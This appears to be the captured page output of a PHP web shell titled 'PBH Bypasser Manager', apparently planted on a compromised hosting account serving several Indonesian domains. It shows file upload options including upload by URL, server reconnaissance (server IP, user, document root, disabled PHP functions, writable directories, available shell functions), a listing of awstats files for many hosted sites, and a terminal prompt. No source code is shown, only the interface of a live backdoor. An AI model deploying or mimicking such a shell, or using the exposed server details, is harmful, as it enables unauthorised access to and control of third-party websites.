🌸 jmkt.co.id.gameqris.com

PBH Bypasser Manager | Use your logic to penetrate all Security

v1.1.2 Haxor
Home
0 item(s) selected

Quick Upload

Upload via URL

Single File

Multiple Files

Server Information

SERVER INFO

Software LiteSpeed
PHP Version 7.4.33
OS Linux
Server Name jmkt.co.id.gameqris.com
SSL Enabled

NETWORK & USER

Server IP 203.175.9.181
Your IP 216.73.216.202
User game5266
Group game5266
Document Root /home/game5266/public_html/jmkt.co.id

PHP LIMITS

Upload Max 10M
Post Max Size 10M
Memory Limit 256M
Max Execution 0s
Disabled Functions system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,popen,pclose,dl,pfsockopen,leak,apache_child_terminate,posix_kill,posix_mkfifo,posix_setsid,posix_setuid,posix_setpgid,ini_alter,show_source,define_syslog_variables,symlink,syslog,openlog,openlog,closelog,ocinumcols,listen,chgrp,apache_note,apache_setenv,debugger_on,debugger_off,ftp_exec,dll,ftp,myshellexec,socket_bind,mail,posix_getwpuid

WRITABLE CHECK

Temp Dir Writable
Document Root Writable
Server Time 2026-08-29 18:18:41
Timezone Asia/Jakarta

TERMINAL FUNCTIONS

Shell Exec Exec System Passthru Popen Proc Open PCNTL Exec
NameSizePermissionsModifiedOwnerActions
awstats.akashafuneral.co.id.gameqris.com.conf 24.67 KB 0644 2026-08-29 09:17:48 game5266
awstats.al-ihsankebagusan.sch.id.gameqris.com.conf 24.68 KB 0644 2026-08-29 09:17:41 game5266
awstats.asettanahdprkp.com.gameqris.com.conf 24.67 KB 0644 2026-08-29 09:17:47 game5266
awstats.baham.co.id.gameqris.com.conf 24.65 KB 0644 2026-08-29 09:17:42 game5266
awstats.gameqris.com.conf 24.63 KB 0644 2026-08-29 09:17:40 game5266
awstats.jmkt.co.id.gameqris.com.conf 24.65 KB 0644 2026-08-29 09:17:50 game5266
awstats.lombabermazmuriaknmanado.com.gameqris.com.conf 24.69 KB 0644 2026-08-29 09:17:49 game5266
awstats.pphn.co.id.gameqris.com.conf 24.65 KB 0644 2026-08-29 09:17:51 game5266
awstats.pt-ppm.co.id.gameqris.com.conf 24.66 KB 0644 2026-08-29 09:17:52 game5266
awstats.rbzamzam.my.id.gameqris.com.conf 24.66 KB 0644 2026-08-29 09:17:43 game5266
awstats.salespro.co.id.gameqris.com.conf 24.66 KB 0644 2026-08-29 09:17:49 game5266
awstats.sdnkaliwadas02.sch.id.gameqris.com.conf 24.67 KB 0644 2026-08-29 09:17:44 game5266
awstats.smkibupawiyatan.sch.id.gameqris.com.conf 24.68 KB 0644 2026-08-29 09:17:45 game5266
awstats.speednenkin.com.gameqris.com.conf 24.66 KB 0644 2026-08-29 09:17:46 game5266
awstats.vienta-bluegaz.co.id.gameqris.com.conf 24.67 KB 0644 2026-08-29 09:17:53 game5266
awstats082026.akashafuneral.co.id.gameqris.com.txt 64.44 KB 0644 2026-08-29 09:17:48 game5266
awstats082026.al-ihsankebagusan.sch.id.gameqris.com.txt 139.89 KB 0644 2026-08-29 09:17:42 game5266
awstats082026.asettanahdprkp.com.gameqris.com.txt 53.66 KB 0644 2026-08-29 09:17:47 game5266
awstats082026.baham.co.id.gameqris.com.txt 85.76 KB 0644 2026-08-29 09:17:43 game5266
awstats082026.gameqris.com.txt 50.85 KB 0644 2026-08-29 09:17:40 game5266
awstats082026.jmkt.co.id.gameqris.com.txt 63.56 KB 0644 2026-08-29 09:17:51 game5266
awstats082026.lombabermazmuriaknmanado.com.gameqris.com.txt 27.04 KB 0644 2026-08-29 09:17:49 game5266
awstats082026.pphn.co.id.gameqris.com.txt 9.59 KB 0644 2026-08-29 09:17:52 game5266
awstats082026.pt-ppm.co.id.gameqris.com.txt 8.75 KB 0644 2026-08-29 09:17:52 game5266
awstats082026.rbzamzam.my.id.gameqris.com.txt 61.1 KB 0644 2026-08-29 09:17:44 game5266
awstats082026.salespro.co.id.gameqris.com.txt 48.01 KB 0644 2026-08-29 09:17:50 game5266
awstats082026.sdnkaliwadas02.sch.id.gameqris.com.txt 64.03 KB 0644 2026-08-29 09:17:44 game5266
awstats082026.smkibupawiyatan.sch.id.gameqris.com.txt 45.93 KB 0644 2026-08-29 09:17:45 game5266
awstats082026.speednenkin.com.gameqris.com.txt 54.89 KB 0644 2026-08-29 09:17:46 game5266
awstats082026.vienta-bluegaz.co.id.gameqris.com.txt 9.03 KB 0644 2026-08-29 09:17:53 game5266

Terminal (Working dir: /home/game5266/tmp/awstats/ssl)